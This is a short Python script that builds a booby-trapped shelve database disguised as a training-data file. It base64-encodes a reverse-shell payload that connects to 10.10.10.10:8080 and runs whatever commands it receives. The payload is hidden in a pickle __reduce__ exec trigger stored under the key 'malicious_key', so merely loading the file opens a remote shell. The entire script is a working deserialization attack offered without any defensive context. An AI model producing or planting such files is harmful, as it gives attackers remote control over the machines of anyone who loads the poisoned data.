|
|
import shelve |
|
|
import base64 |
|
|
import textwrap |
|
|
|
|
|
|
|
|
payload = textwrap.dedent(""" |
|
|
import socket |
|
|
import subprocess |
|
|
ip = "10.10.10.10" |
|
|
p = 8080 |
|
|
s = socket.socket() |
|
|
s.connect((ip, p)) |
|
|
while True: |
|
|
c = s.recv(1024).decode() |
|
|
if not c: |
|
|
break |
|
|
o = subprocess.getoutput(c) |
|
|
s.sendall(o.encode()) |
|
|
""").strip() |
|
|
|
|
|
|
|
|
encoded_payload = base64.b64encode(payload.encode()).decode() |
|
|
|
|
|
|
|
|
class Trigger: |
|
|
def __reduce__(self): |
|
|
cmd = f"import base64; exec(base64.b64decode('{encoded_payload}').decode())" |
|
|
return (exec, (cmd,)) |
|
|
|
|
|
|
|
|
with shelve.open("train_data_mod_obfuscated_fixed.db") as db: |
|
|
db["malicious_key"] = Trigger() |
|
|
|
|
|
print("✅ Shelve .db file created: train_data_mod_obfuscated_fixed.db") |
|
|
|